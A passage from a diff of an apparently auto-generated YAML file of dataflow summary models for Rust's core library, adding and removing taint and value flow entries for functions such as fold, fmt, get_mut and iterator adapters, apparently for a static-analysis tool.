"ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::CharPattern(0)]", "value", "dfc-generated"] - ["lang:core", "::into_searcher", "Argument[0]", "ReturnValue.Field[crate::str::pattern::CharSearcher::haystack]", "value", "dfc-generated"] - ["lang:core", "::into_searcher", "Argument[self]", "ReturnValue.Field[crate::str::pattern::CharSearcher::needle]", "value", "dfc-generated"] @@ -133,8 +447,9 @@ extensions: - ["lang:core", "::repeat", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::repeat_packed", "Argument[self].Field[crate::alloc::layout::Layout::align]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::alloc::layout::Layout::align]", "value", "dfc-generated"] - ["lang:core", "::size", "Argument[self].Field[crate::alloc::layout::Layout::size]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::array::iter::IntoIter::data]", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[1].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::end]", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[1].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::start]", "value", "dfc-generated"] @@ -165,11 +480,17 @@ extensions: - ["lang:core", "::as_bytes", "Argument[self].Field[crate::bstr::ByteStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::from_bytes", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_bytes_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::cell::BorrowRef::borrow]", "ReturnValue.Field[crate::cell::BorrowRef::borrow]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::as_array_of_cells", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_slice_of_cells", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::update", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -182,8 +503,14 @@ extensions: - ["lang:core", "::map_split", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["lang:core", "::map_split", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::borrow", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::borrow_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::try_borrow_unguarded", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::undo_leak", "Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::filter_map", "Argument[0].Field[crate::cell::RefMut::borrow]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::cell::RefMut::borrow]", "value", "dfc-generated"] - ["lang:core", "::filter_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] - ["lang:core", "::filter_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -192,6 +519,8 @@ extensions: - ["lang:core", "::map_split", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["lang:core", "::map_split", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::raw_get", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -202,21 +531,22 @@ extensions: - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::raw_get", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::get_or_try_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::once::OnceCell::inner].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[0].Field[crate::char::EscapeDebugInner::Char(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::char::EscapeDebug(0)].Field[crate::char::EscapeDebugInner::Char(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::char::decode::DecodeUtf16::iter].Element", "Argument[self].Field[crate::char::decode::DecodeUtf16::buf].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::char::decode::DecodeUtf16::iter].Element", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unpaired_surrogate", "Argument[self].Field[crate::char::decode::DecodeUtf16Error::code]", "ReturnValue", "value", "dfc-generated"] @@ -233,12 +563,16 @@ extensions: - ["lang:core", "::provide_value_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::error::Source::current]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_request", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::backslash", "Argument[0]", "ReturnValue.Field[crate::escape::EscapeIterInner::data].Element", "value", "dfc-generated"] + - ["lang:core", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::escape::EscapeIterInner::alive].Field[crate::ops::range::Range::start]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::escape::EscapeIterInner::alive].Field[crate::ops::range::Range::end]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::deref", "Argument[self].Field[crate::ffi::va_list::VaList::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::deref_mut", "Argument[self].Field[crate::ffi::va_list::VaList::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::as_va_list", "Argument[self]", "ReturnValue.Field[crate::ffi::va_list::VaList::inner]", "value", "dfc-generated"] - ["lang:core", "::with_copy", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::as_statically_known_str", "Argument[self].Field[crate::fmt::Arguments::pieces].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::as_str", "Argument[self].Field[crate::fmt::Arguments::pieces].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new_const", "Argument[0]", "ReturnValue.Field[crate::fmt::Arguments::pieces]", "value", "dfc-generated"] - ["lang:core", "::new_v1", "Argument[0]", "ReturnValue.Field[crate::fmt::Arguments::pieces]", "value", "dfc-generated"] @@ -246,46 +580,34 @@ extensions: - ["lang:core", "::new_v1_formatted", "Argument[0]", "ReturnValue.Field[crate::fmt::Arguments::pieces]", "value", "dfc-generated"] - ["lang:core", "::new_v1_formatted", "Argument[1]", "ReturnValue.Field[crate::fmt::Arguments::args]", "value", "dfc-generated"] - ["lang:core", "::new_v1_formatted", "Argument[2]", "ReturnValue.Field[crate::fmt::Arguments::fmt].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::align", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::align]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::debug_list", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugList::inner].Field[crate::fmt::builders::DebugInner::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_map", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugMap::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_set", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugSet::inner].Field[crate::fmt::builders::DebugInner::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_struct", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugStruct::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_tuple", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugTuple::fmt]", "value", "dfc-generated"] - - ["lang:core", "::fill", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::fill]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::flags", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::flags]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::flags", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::fmt::Formatter::buf]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::fmt::Formatter::options]", "value", "dfc-generated"] - ["lang:core", "::options", "Argument[self].Field[crate::fmt::Formatter::options]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::padding", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::fmt::PostPadding::padding]", "value", "dfc-generated"] - - ["lang:core", "::padding", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::fill]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::fmt::PostPadding::fill]", "value", "dfc-generated"] - - ["lang:core", "::precision", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::precision]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::width", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::width]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::pad", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::pad_integral", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::padding", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::precision", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::width", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::with_options", "Argument[0]", "ReturnValue.Field[crate::fmt::Formatter::options]", "value", "dfc-generated"] - ["lang:core", "::with_options", "Argument[self].Field[crate::fmt::Formatter::buf]", "ReturnValue.Field[crate::fmt::Formatter::buf]", "value", "dfc-generated"] - - ["lang:core", "::align", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::align]", "value", "dfc-generated"] - - ["lang:core", "::align", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::align]", "value", "dfc-generated"] - ["lang:core", "::align", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::alternate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::create_formatter", "Argument[0]", "ReturnValue.Field[crate::fmt::Formatter::buf]", "value", "dfc-generated"] - ["lang:core", "::create_formatter", "Argument[self]", "ReturnValue.Field[crate::fmt::Formatter::options]", "value", "dfc-generated"] - ["lang:core", "::debug_as_hex", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fill", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::fill]", "value", "dfc-generated"] - - ["lang:core", "::fill", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::fill]", "value", "dfc-generated"] - ["lang:core", "::fill", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::flags", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::flags]", "value", "dfc-generated"] - - ["lang:core", "::get_align", "Argument[self].Field[crate::fmt::FormattingOptions::align]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_fill", "Argument[self].Field[crate::fmt::FormattingOptions::fill]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_flags", "Argument[self].Field[crate::fmt::FormattingOptions::flags]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_precision", "Argument[self].Field[crate::fmt::FormattingOptions::precision]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_width", "Argument[self].Field[crate::fmt::FormattingOptions::width]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::precision", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::precision]", "value", "dfc-generated"] - - ["lang:core", "::precision", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::precision]", "value", "dfc-generated"] + - ["lang:core", "::get_precision", "Argument[self].Field[crate::fmt::FormattingOptions::precision]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::get_width", "Argument[self].Field[crate::fmt::FormattingOptions::width]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::precision", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::sign", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::sign_aware_zero_pad", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::width", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::width]", "value", "dfc-generated"] - - ["lang:core", "::width", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::width]", "value", "dfc-generated"] - ["lang:core", "::width", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::entries", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::entry", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -335,15 +657,14 @@ extensions: - ["lang:core", "::digit", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::digit", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::digit", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::as_usize", "Argument[self].Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::from_usize", "Argument[0].Reference", "ReturnValue.Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)]", "value", "dfc-generated"] + - ["lang:core", "::as_u16", "Argument[self].Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::from_usize", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::fmt::rt::Placeholder::position]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::fmt::rt::Placeholder::fill]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[2]", "ReturnValue.Field[crate::fmt::rt::Placeholder::align]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[3]", "ReturnValue.Field[crate::fmt::rt::Placeholder::flags]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[4]", "ReturnValue.Field[crate::fmt::rt::Placeholder::precision]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[5]", "ReturnValue.Field[crate::fmt::rt::Placeholder::width]", "value", "dfc-generated"] - - ["lang:core", "::take_output", "Argument[self].Reference.Field[crate::future::join::MaybeDone::Done(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::future::ready::Ready(0)].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -360,7 +681,7 @@ extensions: - ["lang:core", "::set_init", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unfilled", "Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::filled]", "ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::start]", "value", "dfc-generated"] - ["lang:core", "::advance", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::advance_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::advance_unchecked", "Argument[self]", "ReturnValue", "value", "df-generated"] - ["lang:core", "::capacity", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::ensure_init", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::reborrow", "Argument[self].Field[crate::io::borrowed_buf::BorrowedCursor::start]", "ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::start]", "value", "dfc-generated"] @@ -375,17 +696,39 @@ extensions: - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_remainder", "Argument[self].Field[crate::iter::adapters::array_chunks::ArrayChunks::remainder]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::array_chunks::ArrayChunks::iter]", "value", "dfc-generated"] + - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::by_ref_sized::ByRefSized(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::by_ref_sized::ByRefSized(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfind", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfind", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::find", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::find", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_unchecked", "Argument[self].Field[crate::iter::adapters::cloned::Cloned::it].Element", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::cloned::Cloned::it]", "value", "dfc-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -397,13 +740,13 @@ extensions: - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::copied::Copied::it]", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig].Reference", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter].Reference", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig].Reference", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter].Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig]", "Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] - - ["lang:core", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::iter::adapters::cycle::Cycle::orig]", "value", "dfc-generated"] + - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::cycle::Cycle::iter]", "value", "dfc-generated"] + - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::cycle::Cycle::orig]", "value", "dfc-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::nth_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -439,22 +782,29 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::filter_map::FilterMap::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::filter_map::FilterMap::f]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner].Reference", 